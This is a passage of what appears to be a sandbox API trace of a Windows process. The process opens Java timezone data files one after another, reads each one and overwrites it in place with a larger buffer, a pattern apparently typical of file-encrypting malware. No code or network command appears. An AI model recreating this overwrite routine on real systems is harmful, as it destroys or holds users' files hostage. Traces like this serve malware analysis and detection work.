cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brunei", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brunei", lpUsedDefaultChar=0x0) returned 6 [0050.566] ReadFile (in: hFile=0x198, lpBuffer=0x1e8f408, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f408*, lpNumberOfBytesRead=0x2a0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0050.567] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.567] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0050.567] CloseHandle (hObject=0x198) returned 1 [0050.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Harbin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\harbin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.567] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.567] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xcd [0050.567] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.567] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.567] ReleaseMutex (hMutex=0x128) returned 1 [0050.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Harbin", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Harbin", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Harbin", lpUsedDefaultChar=0x0) returned 6 [0050.568] ReadFile (in: hFile=0x198, lpBuffer=0x2561348, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2561348*, lpNumberOfBytesRead=0x2a0f2bc*=0xcd, lpOverlapped=0x0) returned 1 [0050.568] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.568] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x655, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x655, lpOverlapped=0x0) returned 1 [0050.568] CloseHandle (hObject=0x198) returned 1 [0050.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kamchatka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kamchatka"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.569] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.569] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x245 [0050.569] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.569] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.569] ReleaseMutex (hMutex=0x128) returned 1 [0050.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kamchatka", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kamchatka", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kamchatka", lpUsedDefaultChar=0x0) returned 9 [0050.569] ReadFile (in: hFile=0x198, lpBuffer=0x1e54c78, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54c78*, lpNumberOfBytesRead=0x2a0f2bc*=0x245, lpOverlapped=0x0) returned 1 [0050.570] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.570] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7cd, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7cd, lpOverlapped=0x0) returned 1 [0050.570] CloseHandle (hObject=0x198) returned 1 [0050.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Macau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\macau"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0050.579] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.579] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x189 [0050.580] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.580] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.580] ReleaseMutex (hMutex=0x128) returned 1 [0050.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Macau", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Macau", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Macau", lpUsedDefaultChar=0x0) returned 5 [0050.580] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x189, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2a0f2bc*=0x189, lpOverlapped=0x0) returned 1 [0050.581] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.581] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de2e08*, nNumberOfBytesToWrite=0x711, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de2e08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x711, lpOverlapped=0x0) returned 1 [0050.581] CloseHandle (hObject=0x1b0) returned 1 [0050.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Phnom_Penh" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\phnom_penh"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0050.581] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.581] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x61 [0050.581] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.581] ReleaseMutex (hMutex=0x128) returned 1 [0050.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Phnom_Penh", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Phnom_Penh", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Phnom_Penh", lpUsedDefaultChar=0x0) returned 10 [0050.582] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df5558, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5558*, lpNumberOfBytesRead=0x2a0f2bc*=0x61, lpOverlapped=0x0) returned 1 [0050.582] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.582] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5e9, lpOverlapped=0x0) returned 1 [0050.583] CloseHandle (hObject=0x1b0) returned 1 [0050.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Sakhalin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\sakhalin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.649] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.649] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x249 [0050.649] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.649] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.649] ReleaseMutex (hMutex=0x128) returned 1 [0050.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sakhalin", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sakhalin", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sakhalin", lpUsedDefaultChar=0x0) returned 8 [0050.649] ReadFile (in: hFile=0x198, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2a0f2bc*=0x249, lpOverlapped=0x0) returned 1 [0050.650] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.650] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7d1, lpOverlapped=0x0) returned 1 [0050.651] CloseHandle (hObject=0x198) returned 1 [0050.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tokyo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7d [0050.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.651] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.651] ReleaseMutex (hMutex=0x128) returned 1 [0050.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tokyo", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tokyo", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tokyo", lpUsedDefaultChar=0x0) returned 5 [0050.651] ReadFile (in: hFile=0x198, lpBuffer=0x1e27028, nNumberOfBytesToRead=0x7d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e27028*, lpNumberOfBytesRead=0x2a0f2bc*=0x7d, lpOverlapped=0x0) returned 1 [0050.652] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.652] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x605, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x605, lpOverlapped=0x0) returned 1 [0050.652] CloseHandle (hObject=0x198) returned 1 [0050.652] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Bermuda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\bermuda"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.653] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.653] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x464 [0050.653] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.653] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.653] ReleaseMutex (hMutex=0x128) returned 1 [0050.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bermuda", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bermuda", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bermuda", lpUsedDefaultChar=0x0) returned 7 [0050.653] ReadFile (in: hFile=0x198, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x464, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2a0f2bc*=0x464, lpOverlapped=0x0) returned 1 [0050.667] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.667] WriteFile (in: hFile=0x198, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9ec, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x9ec, lpOverlapped=0x0) returned 1 [0050.668] CloseHandle (hObject=0x198) returned 1 [0050.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\brisbane"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.668] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.668] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xbd [0050.668] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.669] ReleaseMutex (hMutex=0x128) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brisbane", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brisbane", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brisbane", lpUsedDefaultChar=0x0) returned 8 [0050.669] ReadFile (in: hFile=0x198, lpBuffer=0x2601918, nNumberOfBytesToRead=0xbd, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2601918*, lpNumberOfBytesRead=0x2a0f2bc*=0xbd, lpOverlapped=0x0) returned 1 [0050.670] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.670] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x645, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x645, lpOverlapped=0x0) returned 1 [0050.670] CloseHandle (hObject=0x198) returned 1 [0050.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Sydney" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\sydney"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.671] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.671] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4c8 [0050.671] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.671] ReleaseMutex (hMutex=0x128) returned 1 [0050.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sydney", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sydney", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sydney", lpUsedDefaultChar=0x0) returned 6 [0050.671] ReadFile (in: hFile=0x198, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2a0f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0050.701] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.702] WriteFile (in: hFile=0x198, lpBuffer=0x261cf08*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261cf08*, lpNumberOfBytesWritten=0x2a0f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0050.702] CloseHandle (hObject=0x198) returned 1 [0050.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+12"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.702] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.702] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1b [0050.703] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.703] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.703] ReleaseMutex (hMutex=0x128) returned 1 [0050.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+12", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+12", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+12", lpUsedDefaultChar=0x0) returned 6 [0050.703] ReadFile (in: hFile=0x198, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x2a0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0050.704] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.704] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0050.704] CloseHandle (hObject=0x198) returned 1 [0050.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-10"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1b [0050.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 